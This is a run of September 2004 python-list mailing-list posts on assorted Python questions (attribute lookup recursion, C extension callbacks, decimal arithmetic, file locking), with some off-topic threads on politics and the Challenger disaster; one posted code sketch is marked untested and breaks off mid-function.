    >> takes volunteers ;-/ ).

    Brian> On "the effort where my mouth is" principle I have gone and added
    Brian> several entries: duck typing, dynamically typed, statically
    Brian> typed, and type. But, as a newbie, I am not wholly confident that
    Brian> what I have said is entirely right.

    Brian> So please, if anyone has an interest in keeping a good glossary
    Brian> up to date, surf by http://manatee.mojam.com/python-glossary and
    Brian> heal my errors or extend the glossary yourself.

I'm happy to see the Python Glossary used and updated.  My main aim in
creating it was to build input for the glossary at the end of the Python
tutorial though.  It's been quite awhile since I or anyone else made a pass
through it looking for new entries to copy to the tutorial.  (I never
expected to copy everything either.)

Skip



From aleaxit at yahoo.com  Wed Sep  1 07:26:22 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Wed, 1 Sep 2004 13:26:22 +0200
Subject: about presicion
References: <8f17f4bc.0408261434.1a73e874@posting.google.com>
	<2e363c08.0408261912.2358a016@posting.google.com>
	<mailman.2518.1093611862.5135.python-list@python.org>
	<8f17f4bc.0408281303.3cfb4199@posting.google.com>
	<JN6dnW6HuNiU06zcRVn-pA@powergate.ca>
	<20040829041630.28913.00001771@mb-m26.aol.com>
	<1gjc13i.rx89x319njqe2N%aleaxit@yahoo.com>
	<cgvmpg$8uc@odbk17.prod.google.com>
	<1gjdvbc.3lhlg6soyrudN%aleaxit@yahoo.com>
	<ch29dr$25h@odah37.prod.google.com>
	<1gjfjq0.1bpe86xzyakjcN%aleaxit@yahoo.com>
	<mailman.2715.1094031032.5135.python-list@python.org>
Message-ID: <1gjfph7.tby02n1hlzsndN%aleaxit@yahoo.com>

Anthony Baxter <anthonybaxter at gmail.com> wrote:

> Another approach is to find someone with the appropriate toolchain
> (VS7.1) and get them to do:
> 
> % python setup.py install
> % python setup.py bdist_wininst
> 
> and then make the windows installer for the gmpy module available.

Sounds good -- are you volunteering?-)


> My understanding is that building 2.4 modules with either mingw or the
> freely available MS compiler is still a non-trivial exercise - but
> there's enough people interested in this that I suspect it will be
> resolved soon enough.

Thanks for the info!  And let's indeed hope things get better... if
mingw sufficed I could use it on my old trusty Win98-on-Win4Lin-
on-Linux setup, for example (gmpy does need speed, so maybe it's best to
build it with the best optimizing compiler available, but other modules
may not be quite as speed-critical as that).


Alex


From andre.roberge at ns.sympatico.ca  Thu Sep  9 19:32:14 2004
From: andre.roberge at ns.sympatico.ca (Andr? Roberge)
Date: 9 Sep 2004 16:32:14 -0700
Subject: Which one to use: generate_tokens or tokenize?
Message-ID: <f06d8508.0409091532.4f68d1a6@posting.google.com>

According to the Python documentation: 

18.5 tokenize -- Tokenizer for Python source
...
The primary entry point is a generator:
generate_tokens(readline)
...
An older entry point is retained for backward compatibility:
tokenize(readline[, tokeneater])
====
Does this mean that one should preferably use generate_tokens?  If so,
what are the advantages?

Andr? Roberge


From ThisIsNotMyReal at ddress.com  Sat Sep 25 02:05:33 2004
From: ThisIsNotMyReal at ddress.com (Brian)
Date: Sat, 25 Sep 2004 06:05:33 GMT
Subject: random.choice returns the same value
Message-ID: <Xns956FCD15BC24nonenonecom@24.93.44.119>

Any reason why random.choice would return the first value in a list 
everytime?


From tonym1972{at}club-internet{in}fr  Sun Sep 19 12:49:56 2004
From: tonym1972{at}club-internet{in}fr (Anthony McDonald)
Date: Sun, 19 Sep 2004 18:49:56 +0200
Subject: [offtopic] C programming newsgroup
References: <zN2dnU3STdMjONDcRVn-uw@comcast.com>
Message-ID: <414db89e$0$15754$7a628cd7@news.club-internet.fr>

"Zach Shutters" <zshutters at comcast.net> wrote in message 
news:zN2dnU3STdMjONDcRVn-uw at comcast.com...
> What newsgroup can you guys recommend for me that talks about programming 
> in c/c++ that is as active as this one?

comp.lang.c is a fairly well respected newsgroup for C. I should warn you 
that they only deal with C as defined by the ANSI standard. For compiler 
extensions or system specific functions you'll need to search a little 
harder.

I haven't been on comp.lang.c++ for a while, but they also have a some nice 
knowledgable people who are happy to answer question except again when the 
topic drifts to far into a compiler extensions or system specific features.

Anthony McDonald 




From clifford.wells at comcast.net  Mon Sep 20 17:36:02 2004
From: clifford.wells at comcast.net (Cliff Wells)
Date: Mon, 20 Sep 2004 14:36:02 -0700
Subject: How can I pass objects in a web page?
In-Reply-To: <9f363ad9.0409201259.4bd0f945@posting.google.com>
References: <9f363ad9.0409201259.4bd0f945@posting.google.com>
Message-ID: <1095716162.31957.432.camel@devilbox.devilnet.internal>

On Mon, 2004-09-20 at 13:59 -0700, Brian Bull wrote:
> I have written something that creates about 5000 unique objects.  I
> want to have a link on a page that when clicked will take the user to
> a page that will "describe" the contents of the object.  The problem
> seems to be passing the object from one static page to another via a
> link.  Is this possible?

The web, being stateless, usually requires that you "rebuild the world"
with every mouse click.  Probably what you'd want to do is use some sort
of persistent object store (usually a database) to recover your objects
from.  I know there are a few projects that make this at least semi-
transparent, ZODB being one of the more commonly used ones (it's part of
Zope but can be used separately, if I'm not mistaken).  Try googling for
python+persistent+objects and see what comes up.

Regards,
Cliff

-- 
Cliff Wells <clifford.wells at comcast.net>



From db3l at fitlinxx.com  Tue Sep 28 12:49:27 2004
From: db3l at fitlinxx.com (David Bolen)
Date: 28 Sep 2004 12:49:27 -0400
Subject: False exceptions?" (was Re: theme of the week: tools
References: <Pine.LNX.4.50.0409272150400.3157-100000@hedgehog>
	<mailman.4011.1096382061.5135.python-list@python.org>
Message-ID: <uacvaibjc.fsf@fitlinxx.com>

Richie Hindle <richie at entrian.com> writes:

> [Stephan]
> > The "false exceptions" thing is a technical limitation of detecting
> > whether or not an exception is going to lead to program termination at the
> > moment it is raised, rather than later when exiting the program.  We go up
> > the stack to inspect Python byte code, and since we can't see into C/C++
> > object code we sometimes get it wrong.
> 
> Thanks for this explanation - very interesting.  I'm a bit confused as to why
> you do this, though.  Assuming an exception "is going to lead to program
> termination", trapping it at the point it's raised is only one instruction
> away from trapping at the point it causes termination (via sys.excepthook).
(...)
> Is that really the only reason you've implemented this feature, or am I
> missing something?

You're assuming that it's all Python code up the stack until the final
exception handling.  If there's an extension module in the way, you
lose the ability to get at the information, and if that extension
module decides to absorb the error, then there's no longer a chance to
catch it.  Unfortunately, it's the cases where the extension module
silently absorbs the exception when things are working properly that
Wing can't detect and would flag the exception anyway.

-- David


From deetsNOSPAM at web.de  Wed Sep  1 07:28:24 2004
From: deetsNOSPAM at web.de (Diez B. Roggisch)
Date: Wed, 01 Sep 2004 13:28:24 +0200
Subject: Need kinda ringbuffer on filesystem
References: <ch3o9l$3ur$1@newshispeed.ch>
Message-ID: <ch4bon$mas$05$1@news.t-online.com>

> Any other idea?

Use pipes/fifos. They should exist on windows two. 

-- 
Regards,

Diez B. Roggisch


From aahz at pythoncraft.com  Thu Sep  2 16:05:04 2004
From: aahz at pythoncraft.com (Aahz)
Date: 2 Sep 2004 16:05:04 -0400
Subject: age of Python programmers
References: <mailman.1859.1092833285.5135.python-list@python.org>
	<6amZc.17353$ni.8118@okepread01>
	<822221bb04090109167035d328@mail.gmail.com>
	<mailman.2753.1094102613.5135.python-list@python.org>
Message-ID: <ch7udg$nln$1@panix3.panix.com>

In article <mailman.2753.1094102613.5135.python-list at python.org>,
Andrew Durdin  <adurdin at gmail.com> wrote:
>
>There seem to be a lot of Pythoneers who started with BASIC -- I guess
>that's what came with most "home computers" in those days. I started
>at 8 with BASIC on an Amstrad CPC6128 (though I played games more than
>I wrote programs :).

Except that I started with BASIC on an HP1000.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"To me vi is Zen.  To use vi is to practice zen.  Every command is a
koan.  Profound to the user, unintelligible to the uninitiated.  You
discover truth everytime you use it."  --reddy at lion.austin.ibm.com


From aleaxit at yahoo.com  Thu Sep 16 11:32:34 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Thu, 16 Sep 2004 17:32:34 +0200
Subject: PyCFunction_New() ?
References: <ciblr1$lpj1@imsp212.netvigator.com>
	<1gk7ji3.1a18dy395nrmjN%aleaxit@yahoo.com>
	<cic7lu$lp6130@imsp212.netvigator.com>
Message-ID: <1gk7v5h.140a6gt19j2w40N%aleaxit@yahoo.com>

Scott Deerwester <scott at p3international.org> wrote:

> Alex Martelli wrote:
> 
> > Scott Deerwester <scott at deerwester.org> wrote:
> > 
> >> Is it possible to create a Python-callable object, dynamically, in C/C++?
> >> I
> > 
> > Sure!  But I'm not clear on why you want to create it dynamically.  The
> > C++ code is there all the time, isn't it?  So why not the wrapping of it
> > into Python-callable terms...?
> 
> Because I'd like to have multiple instances of the class that has (or is
> somehow associated with) the C/C++ callback, and to be able to hand a
> corresponding Python object a Python-callable callback that ends up
> invoking the C++ callback for a particular C++ class instance...

Ah, you want to make "bound methods" from C++...?  That's a tall order
indeed.  In C++ itself, in fact, you couldn't.

Fortunately, you can exploit the 2nd argument of PyCFunction_New.  Place
the pointer to the C++ object there, wrapped into a PyObject (or cast
into a PyObject* if you feel frisky...!-).  Your C function unwraps it
or casts it back, and then can call the C++ method on the suitable
instance thus recovered.


Alex


From http  Thu Sep 16 01:15:13 2004
From: http (Paul Rubin)
Date: 15 Sep 2004 22:15:13 -0700
Subject: Incrementing a string
References: <pan.2004.09.15.22.08.19.894702@cox.net>
	<mailman.3390.1095303317.5135.python-list@python.org>
Message-ID: <7xwtyuztem.fsf@ruckus.brouhaha.com>

Here's my generator version:

    def gen_alph():
        def convert(k,n):
            # convert integer k to n-letter string
            out = []
            for i in xrange(n):
                k,r = divmod(k,26)
                out.append(chr(97+r))
            out.reverse()
            return ''.join(out)

        nletters = 1
        while True:
            for k in xrange(26**nletters):
                yield convert(k, nletters)
            nletters += 1

To test it:

    g = gen_alph()
    for i in range(40):
        print i, g.next()


From secun at yahoo.com  Tue Sep 14 09:09:49 2004
From: secun at yahoo.com (ChrisH)
Date: Tue, 14 Sep 2004 13:09:49 GMT
Subject: Communication between remote scripts
Message-ID: <MPG.1bb0b7d621a77bc598968c@news2.atlantic.net>

I have a python script (A) that monitors a process (3rd party) on the 
local machine (Windows).

I would like to create a second program on a remote Windows computer 
that receives an update from program A periodically (maybe every 10 
minutes or so), and tells it everything is running without a problem.

Can anyone recommend a good (and preferably simple) way for two programs 
to communicate on a network? 



From boutelbNOSPAM at acm.org  Tue Sep 14 23:42:48 2004
From: boutelbNOSPAM at acm.org (Brian Boutel)
Date: Wed, 15 Sep 2004 15:42:48 +1200
Subject: Xah Lee's Unixism
In-Reply-To: <m3ekl4wk35.fsf@europa.pienet>
References: <413f03cc$0$6914$61fed72c@news.rcn.com>
	<413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net>
	<10juvnrt88k4868@corp.supernews.com>
	<414069c6$0$6912$61fed72c@news.rcn.com>
	<opsd2vlvy7pqzri1@mjolner.upc.no>
	<1549.748T655T9283520@kltpzyxm.invalid>
	<3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com>
	<4141c830$0$65574$a1866201@newsreader.visi.com>
	<chsu8b$ujb$1@grandcanyon.binc.net>
	<Eeo0d.18563$Qx2.9439@newssvr29.news.prodigy.com>
	<ci4gs0$23p$1@grandcanyon.binc.net> <m3pt4qc57f.fsf@europa.pienet>
	<ci707n$miq$1@grandcanyon.binc.net> <m3ekl4wk35.fsf@europa.pienet>
Message-ID: <KSO1d.3578$mZ2.328256@news02.tsnz.net>

Greg Menke wrote:


> 
>>>Iraq teaches the Islamic world that we're
>>>crazy.
>>
>>By "we" you are referring to the some 40 nations who have contributed
>>to the effort right?
>>
> 
> 
> Each nation with their couple hundred or fewer people?  Don't make me
> laugh.  This one is the US and the UK and whatever bits & pieces we
> could muscle out of all the countries that owe favors.  Last time
> around we had an actual coalition this one is pretty much only PR.
> 

And, of course, very few countries sent troops to be part of the 
invasion force. Many others, like ours, are there in 
non-combatant roles to help repair the damage the invaders caused.


--brian


-- 
Brian Boutel
Wellington New Zealand


Note the NOSPAM


From adalke at mindspring.com  Thu Sep  2 01:02:59 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Thu, 02 Sep 2004 05:02:59 GMT
Subject: why is this so slow?
In-Reply-To: <ch65tg$jk6$1@mughi.cs.ubc.ca>
References: <ch65tg$jk6$1@mughi.cs.ubc.ca>
Message-ID: <7QxZc.5143$w%6.1935@newsread1.news.pas.earthlink.net>

Lowell Kirsh wrote:

> I created the following class (I know it's a dirty hack) so I could do 
> foo.bar instead of using a dictionary and having to type foo['bar'] :
> 
>     class DefaultAttr(object):
>         def __getattribute__(self, attr):
>             if not hasattr(self, attr):
>                 return ''
>             return object.__getattribute__(self,attr)
> 
> but its use is totally slowing down my program. Why is it so slow and is 
> there a better way?

When you try foo.bar the __getattribute__ ends up
being called with self = foo and attr = "bar".

The hasattr(self, attr) is implemented something like

def hasattr(obj, attr):
   try:
     getattr(obj, attr)
     return 1
   except:
     return 0

That is, hasattr will do the same thing that getattr
does.  Which is exactly what foo.bar does.  So you
have a recursive call here.  To see that I'll
instrument the code you presented

count = 0

class DefaultAttr(object):
     def __getattribute__(self, attr):
         global count
         if not hasattr(self, attr):
             count += 1
             return ''
         return object.__getattribute__(self,attr)

After I defined the above I can test it like this

 >>> x = DefaultAttr()
 >>> print count
0
 >>> print x.y

 >>> print count
500
 >>>

See that count got set to 500?  What happened was
the Python stack hit it's limit

 >>> import sys
 >>> sys.getrecursionlimit()
1000

Looks like there's one Python stack frame for
the hasattr and one for the __getattribute__.

You don't see the exception because the hasattr
assumes that *any* exception means that the
attribute doesn't exist.  The actual code is in
dist/src/Python/bltinmodule.c in builtin_hasattr

         v = PyObject_GetAttr(v, name);
         if (v == NULL) {
                 PyErr_Clear();
                 Py_INCREF(Py_False);
                 return Py_False;
         }
         Py_DECREF(v);
         Py_INCREF(Py_True);
         return Py_True;

(Don't we tell people that a bare except is a no-no?
Eg, what if I hit ^C during the GetAttr test?  Will
it be ignored?  Or what if the process runs out of
memory?  Perhaps this is related to "Thar the Windows
stack blows!" commentary in the python-dev summary
for 2004-08-01 to 08-15?)

In other words, all the time is spent in hitting
the stack limit.

You might try it the other way around and return the
underlying attribute then only if that fails do you
return the default, like this

count = 0
class DefaultAttr(object):
     def __getattribute__(self, attr):
         global count
         count += 1
         try:
             return super(DefaultAttr, self).__getattribute__(attr)
         except AttributeError:
             return ""

x = DefaultAttr()
print "Start with", count
print "y is", repr(x.y)
print "And now", count
x.z = 5
print "Checking ...", count
print "z is", repr(x.z)
print "count after z", count
del x.z
print "z is now", repr(x.z)
print "count after 2nd z", count

When I run that I get

Start with 0
y is ''
And now 1
Checking ... 1
z is 5
count after z 2
z is now ''
count after 2nd z 3



				Andrew
				dalke at dalkescientific.com


From fperez528 at yahoo.com  Thu Sep 16 19:19:25 2004
From: fperez528 at yahoo.com (Fernando Perez)
Date: Thu, 16 Sep 2004 17:19:25 -0600
Subject: ctypes 0.9.1 released
References: <mailman.3415.1095367304.5135.python-list@python.org>
Message-ID: <cid71t$orc$1@peabody.colorado.edu>

Thomas Heller wrote:

> ctypes 0.9.1 released - Sept 14, 2004
> =====================================
[...]
>     The _ctypes.call_function function, although private and
>     deprecated, has been put back in - it is used by Gary Bishop's
>     readline module.

IPython uses heavily Gary's readline and had been bitten by this.  Windows
users of ipython have already confirmed that ctypes 0.9.1 fixes the problem.
I'd just like to send you a quick thank you note for accomodating us :) 

Cheers,

f


From alanmk at hotmail.com  Wed Sep  8 07:20:01 2004
From: alanmk at hotmail.com (Alan Kennedy)
Date: Wed, 08 Sep 2004 12:20:01 +0100
Subject: [XML-SIG] minidom parse error - keyerror
In-Reply-To: <mailman.3019.1094619792.5135.python-list@python.org>
References: <1094565296.413dbdb0c8c18@www-mail.usyd.edu.au>
	<mailman.3019.1094619792.5135.python-list@python.org>
Message-ID: <RQB%c.26808$Z14.8877@news.indigo.ie>

[Ajay]
> i have tried the archives now and heaps of Google searches but am no closer
> to finding out what the error is.
> 
> the error does not appear if i use expat.

and

>>i am parsing the attached document.
>>the code is
>>parser = make_parser('xml.sax.drivers2.drv_xmlproc')
>>ruleSet = parse(ruleSetFile, parser=parser)

>>i get the following error
>>
>>Traceback (most recent call last):
>>  File "C:\PYTHON23\Lib\site-packages\_xmlplus\dom\pulldom.py", line 98,
>>in startElementNS
>>    prefix = self._current_context[a_uri]
>>KeyError: u'http://www.w3.org/2001/02/appelv1'

Since I can't see your document, I can't say for sure.

But by the look of that traceback, you have neglected to declare a 
namespace in your XML document. The error appears to occur when the 
parser is looking for the "namespace prefix" associated with the 
namespace URI "http://www.w3.org/2001/02/appelv1".

Post an example document if I'm wrong.

-- 
alan kennedy
------------------------------------------------------
email alan:              http://xhaus.com/contact/alan


From steven.bethard at gmail.com  Sat Sep  4 17:18:53 2004
From: steven.bethard at gmail.com (Steven Bethard)
Date: Sat, 4 Sep 2004 21:18:53 +0000 (UTC)
Subject: docs on for-loop with no __iter__?
References: <mailman.2873.1094321890.5135.python-list@python.org>
	<bMp_c.7491$w%6.1810@newsread1.news.pas.earthlink.net>
Message-ID: <loom.20040904T231351-382@post.gmane.org>

Andrew Dalke <adalke <at> mindspring.com> writes:
> http://docs.python.org/ref/sequence-types.html
> 
> ] Note: for loops expect that an IndexError will be
> ] raised for illegal indexes to allow proper detection
> ] of the end of the sequence.

Thanks, that's what I was looking for.  I knew it had to be around there 
somewhere.  =)  Presumably there was a reason not to use len() to determine 
the end of the sequence?

Steve




From lbates at swamisoft.com  Wed Sep 15 17:54:37 2004
From: lbates at swamisoft.com (Larry Bates)
Date: Wed, 15 Sep 2004 16:54:37 -0500
Subject: function arguments
References: <I43MHJ.66G@news.boeing.com>
Message-ID: <iLKdnXCdDbWBJ9XcRVn-rA@comcast.com>

Paul has explanation (see his response), but I
wanted to expand a little.

def foo(*args, **kwargs):
    for arg in args:
        print arg
    for key, value in kwargs.items():
        print key, value
    return

>>> foo('a','b',x=1,y=2)
a
b
y 2
x 1

or

def foo(list_of_args, **kwargs):
    #
    # Now call function with args as individual arguments
    # and keyword arguments as individual keyword
    # arguments also.
    #
    call_other_function(*list_of_args, **kwargs)
    return

Hope this helps,
Larry Bates


"Joe Laughlin" <Joseph.V.Laughlin at boeing.com> wrote in message 
news:I43MHJ.66G at news.boeing.com...
>I want to do something like the following
>
> def foo(list_of_args):
>    call_other_function(arg1, arg2, arg3)
>    # Where arg1 == "x", arg2 == "y", etc.
>    # Should work with any list size
>
> foo(["x", "y", "z"])
>
> Make sense?  Need clarification?  In summary, I want to pass a list of
> arguments to a function.  The function needs to pass each argument in the
> list to a different function.
>
> Thanks,
> Joe
>
> 




From ruchika_khera at hotmail.com  Fri Sep 10 12:44:22 2004
From: ruchika_khera at hotmail.com (ruchika khera)
Date: Fri, 10 Sep 2004 16:44:22 +0000
Subject: Build a project from the script using popen3 
Message-ID: <BAY1-F27Vw7mrY2dmds0006bb66@hotmail.com>

An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20040910/f02075da/attachment.html>

From bsmatt at gmail.com  Mon Sep 27 14:43:55 2004
From: bsmatt at gmail.com (bmatt)
Date: 27 Sep 2004 11:43:55 -0700
Subject: Multiple Interpreters In a Single Thread
References: <efd29696.0409230652.8c6f748@posting.google.com>
Message-ID: <efd29696.0409271043.3eb4c78d@posting.google.com>

I wanted to follow up on my post and let everyone how I decided to
tackle this problem. If you see any inherent problems with my solution
or know of a better way to handle it then let me know.

I decided to run each script in a separate thread but force them to
run synchronously. This may seem like overkill but it allows me to use
separate python interpreters (secondary concern) and facilitates the
scripts ability to relinquish control back to the main application
thread so that it can wait a single program loop iteration or wait a
specific amount of time before continuing or wait for some other
defined event.



bsmatt at gmail.com (bmatt) wrote in message news:<efd29696.0409230652.8c6f748 at posting.google.com>...
> I am trying to support multiple interpreter instances within a single
> main application thread. The reason I would like separate interpreters
> is because objects in my system can be extended with python scripts
> via a well defined interface (i.e. The onCreate script will be called
> when the object is created).
> 
> So...Is it necessary to use multiple interpreters since each script I
> import will be given its own module name and therefore the predefined
> functions can be resolved using that module name?
> 
> If it is necessary then how is this accomplished? I have tried using
> Py_NewInterpreter() but have been getting a strange crash (invalid
> thread state).
> 
> Another concern I have is that I would like to be able to support
> scripts defining their own application loop like functions. These
> functions will need to be able to pause and wait for the next
> application loop iteration before continuing. So...is there a way to
> stop the interpreter ( via a call to an application defined function
> like system.waitIteration() ), save the state of the interpreter and
> continue processing when the application says it is ready?
> 
> I know these are kind of high level and vague questions but I am just
> in the proof of concept and design phase and need to make sure some of
> my ideas are feasible. Any information would be appreciated.
> 
> Thanks


From bvande at po-box.mcgill.ca  Tue Sep 21 18:21:57 2004
From: bvande at po-box.mcgill.ca (Brian van den Broek)
Date: Tue, 21 Sep 2004 18:21:57 -0400
Subject: Math errors in python
In-Reply-To: <41508b1e$0$60637$a1866201@newsreader.visi.com>
References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com>
	<pan.2004.09.19.13.27.17.613143@jerf.org>
	<Ooa3d.318$Pz3.245@trndny01>
	<mailman.3490.1095579571.5135.python-list@python.org>
	<70b3d.1822$uz1.747@trndny03>
	<60dfb6f6.0409211207.6099285c@posting.google.com>
	<41508b1e$0$60637$a1866201@newsreader.visi.com>
Message-ID: <4150A985.8010507@po-box.mcgill.ca>

Grant Edwards said unto the world upon 2004-09-21 16:12:
> On 2004-09-21, Carl Banks <imbosol at aerojockey.com> wrote:
> 
>>"Chris S." <chrisks at NOSPAM.udel.edu> wrote in message news:<70b3d.1822$uz1.747 at trndny03>...
>>
>>>I just find 
>>>it funny how a $20 calculator can be more accurate than Python running 
>>>on a $1000 Intel machine.
>>
>>Actually, if you look at Intel's track record, it isn't that surprising.
>>
>>How many Intel Pentium engineers does it take to change a light bulb?
>>Three.  One to screw in the bulb, and one to hold the ladder.
> 
> 
> Intel, where quality is Job 0.9999999997.
> 

Since we're playing:

Why'd Intel call it the Pentium chip?

'Cause they added 100 to 486 and got 585.999999999989

Brian vdB



From carribeiro at gmail.com  Sat Sep 25 19:23:55 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Sat, 25 Sep 2004 20:23:55 -0300
Subject: Why not FP for Money?
In-Reply-To: <h1abl0tb441isjtv35a69b7562v73ik33v@4ax.com>
References: <A128D751272CD411BC9200508BC2194D053C79D3@escpl.tcp.com.ar>
	<mailman.3872.1096056806.5135.python-list@python.org>
	<cj2ehb$h95$0$216.39.172.122@theriver.com>
	<mailman.3884.1096073978.5135.python-list@python.org>
	<10l9je9993jlfa3@corp.supernews.com>
	<h1abl0tb441isjtv35a69b7562v73ik33v@4ax.com>
Message-ID: <864d370904092516232f4a6d6f@mail.gmail.com>

On Sat, 25 Sep 2004 11:20:47 -0700, Richard Hanson <me at privacy.net> wrote:
> (I also don't think that Decimal should be thought of as *only* a
> "money" type; but this latter point already seems to be the
> consensus.)

I agree with you, if you meant to say that Decimals are *more* than
simple money representations. I think that my previous posts may have
seeded some confusion with regards to my understanding of this
particular issue.

There are floating point decimals, and fixed point decimals. The
former are generic floating point numbers, as good as the current
binary floats for most situations but with the added advantage of
decimal precision, and the removal of the 'surprise factor' that the
inherent loss of precision of the base conversion causes.

As far as money representation is concerned, it's really a fixed point
decimal. But while discussing it here, I see less and less need of
native support form fixed point decimals. I think that in the long run
the current Decimals will prove more than enough for the task of
handling generic floating point numbers, and that includes money
amounts as a special case. But it's too early to tell.


-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From SPAMhukolauTRAP at SPAMworldnetTRAP.att.net  Sat Sep  4 18:21:02 2004
From: SPAMhukolauTRAP at SPAMworldnetTRAP.att.net (Nick Landsberg)
Date: Sat, 04 Sep 2004 22:21:02 GMT
Subject: Xah Lee's Unixism
In-Reply-To: <1094329053.514935@teapot.planet.gong>
References: <j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net>
	<10jc7cu7e57koaa@corp.supernews.com>
	<20040901.2343.57633snz@dsl.co.uk>
	<YLednXSn7obciqrcRVn-og@powergate.ca> <41376B82.C6A202FC@yahoo.com>
	<P5GdnU8q-8Sw66rcRVn-qg@powergate.ca>
	<0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com>
	<ur7pks59p.fsf@mail.comcast.net>
	<8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net>
	<3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
	<Os7_c.113460$Fg5.65632@attbi_s53>
	<1094257487.855439@teapot.planet.gong>
	<qs9_c.235307$8_6.157753@attbi_s04>
	<1094285694.404322@teapot.planet.gong>
	<irl_c.67482$jZ5.60995@clgrps13> <1bpt51alai.fsf@cs.nmsu.edu>
	<1094329053.514935@teapot.planet.gong>
Message-ID: <idr_c.307648$OB3.136180@bgtnsc05-news.ops.worldnet.att.net>

Rupert Pigott wrote:

[SNIP]

> 
> 
> Indeed, it could have failed in a way entirely unique to itself... :)
> 
> The O-Ring thing had been identified, was preventable and should have
> been prevented. Sure, perhaps the design did suck, but the point is
> the whole disaster was trivially avoidable if the people running the
> show were willing to grasp the nettle.
> 

Since we're so far off-topic here anyway ...

It has been so many years since the Challenger disaster
that memory fades (especially at my age), so bear with
me if a misremember something.

As I recall, the particular launch happened during
an unusual cold spell in Florida.  I also recall
that the investigation uncovered strong recommendations
by several senior engineers, prior to launch, that the launch
should be postponed because the system (shuttle and boosters)
had never been launched during those kinds of
weather conditions.  (It could very well be that they
might have pointed out the O-rings specifically,
but I don't recall.)  Some managementcritter
at some level (probably in NASA) ignored or overruled
those recommendations.  I can only conjecture that
this was because that the prevailing culture (in most
corporations, then and now) is "we have to meet
our schedules."

The managmentcritters' attitude can be
summarized by:
- "If *we* don't meet *our* schedules, it's my butt on the
line." (The regal "we" and "our" purposely emphasized.)
- "If we meet our schedules and **** up, it's someone
else's butt on the line."

NPL

P.S. - I make no claim that the design was good,
bad, or indifferent.  It is outside my area of expertise.
I *do* know, from personal experience, that many
technically sound recommendations are overruled by management,
for whatever reasons.  The root cause could well
have been in the choice of Morton-Thiokol, I don't
know.  If my recollections above are correct, tho,
the "proximate cause" was launching the shuttle at all
given the objections of the engineers.

-- 
"It is impossible to make anything foolproof
because fools are so ingenious"
  - A. Bloch


From adalke at mindspring.com  Thu Sep 30 00:58:14 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Thu, 30 Sep 2004 04:58:14 GMT
Subject: multiple instance on Unix
In-Reply-To: <mailman.4104.1096493884.5135.python-list@python.org>
References: <52324E76-123E-11D9-B04E-0003938543A0@orthogonsystems.com>	<415AF802.1080909@bellsouth.net>
	<mailman.4104.1096493884.5135.python-list@python.org>
Message-ID: <GnM6d.13664$gG4.12718@newsread1.news.pas.earthlink.net>

Nigel King wrote:
> I had a program that was called randomly by specific emails arriving 
> which asked for certain information. If two or more emails arrived 
> simultaneously then procmail asked two or more instances of my program 
> to run. These instances interfered with one another, so I needed a 
> process to stop that from happening.
   ..
> Now, this works but I wondered whether anybody knew of a more standard 
> bit of python code was available for ensuring that only one instance was 
> processing.

What you've just described is pretty standard approach.
You might also look into the fctnl module for lockf/flock.
(I get confused when I need to deal with them.)

The 'open with O_EXCL' solution by Mike Meyer also works.

>     # This program is not thread safe so we must protect it from being
>     # trampled over by another copy

Thread-safe means something different than this.  Multiple
threads run in the same process space and can modify
the same in-memory data structures.

OTOH, you're using the filesystem as the "in-memory data
structure" so it is the moral equivalent.  Another
solution is to make your program "thread safe" so that
you don't have this problem at all.

If your program modifies shared data files then this
of course is not possible.

>     # pause if another email is being processed for half an hour maximum
>     t = time.time()+1800

That's pretty excessive.  Does it often take
that long for a program to finish?

Here's one method for multiple processes to get
along in an ordered manner.

Have a shared directory that everyone can write to.

When a program starts, make
   $dir/lockfile-$timestamp-$pid

This will be unique and in named in time order
except in very rare exceptions that you can ignore.
(system clock goes backwards to correct for time
skew, process id rolls over in the same moment
that multiple requests come in).

You can probably use str(time.time()) for the
timestamp and str(os.getpid()) for the pid.

Once the program creates the file, make a symbol
link from that to the real lock file.  Call that
one simply $dir/lockfile

my_lockfile = ..$dir/lockfile-$timestamp-$pid
system_lockfile = $dir/-ockfile

os.symlink(my_lockfile, system_lockfile)

Ths symlink call will pass or fail atomically,
so no two programs can succeed at the same
time.  This gives you the one-at-a-time
characteristic you're looking for.  (It
may fail on a remote mounted file, but then
again so would the mkdir trick or O_EXCL.)

When finished, delete the two lock files.

If the symlink fails, sleep and try again
later.

To get the ordering you want, if the symlink
fails then scan the directory and look for
a process lockfile which has an earlier
timestamp.  If there is one, sleep for a
bit and do the check again.

If there is a waiting lock file before the
given process then one trick is to find the
one with the timestamp immediately before
the given program.  Then when it wakes up
all it needs to do is check the existance
of that file.  If it doesn't exist then
attempt the symlink-based lock, which should
succeed (since there isn't any earlier
process trying to get the same lock).0

Another trick is to check for programs
that have the lock but have crashed so
won't ever delete them.  A waiting process
can look at the lockfile, follow the
symlink back to the original file, and
get the locking process's pid.

If the process no longer exists (and it's
very unlikely you'll sleep long enough
to cycle through the pids to have a new
process with the same pid) then the next
program in line should feel free to delete
the link and take over the lock.

That's a lot to say.  The code's pretty
simple.  Should be something like (UNTESTED!)

import os

basedir = "lock-directory"
sys_lockfilename = os.path.join(basedir, "lockfile")
my_lockfilename = os.path.join(basedir,
            "-".join("lockfile", str(time.time()), str(os.getpid)))

def get_lock_info(filename):
   terms = filename.split("-")
   if len(terms) != 3 and terms[0] != "lockfile":
     return None
   return float(terms[1]), int(terms[2]))

def get_next_earlier_info(basedir, my_name):
   filedata = []
   for filename in os.listdir(basedir):
     fileinfo = get_lock_info(filename)
     if fileinfo is not None:
       # ordered by time, pid, filename
       filedata.append( fileinfofileinfo + (filename,) )

   # Sort by earliest time
   filedata.sort()

   # Find where this file is, then get the term before it
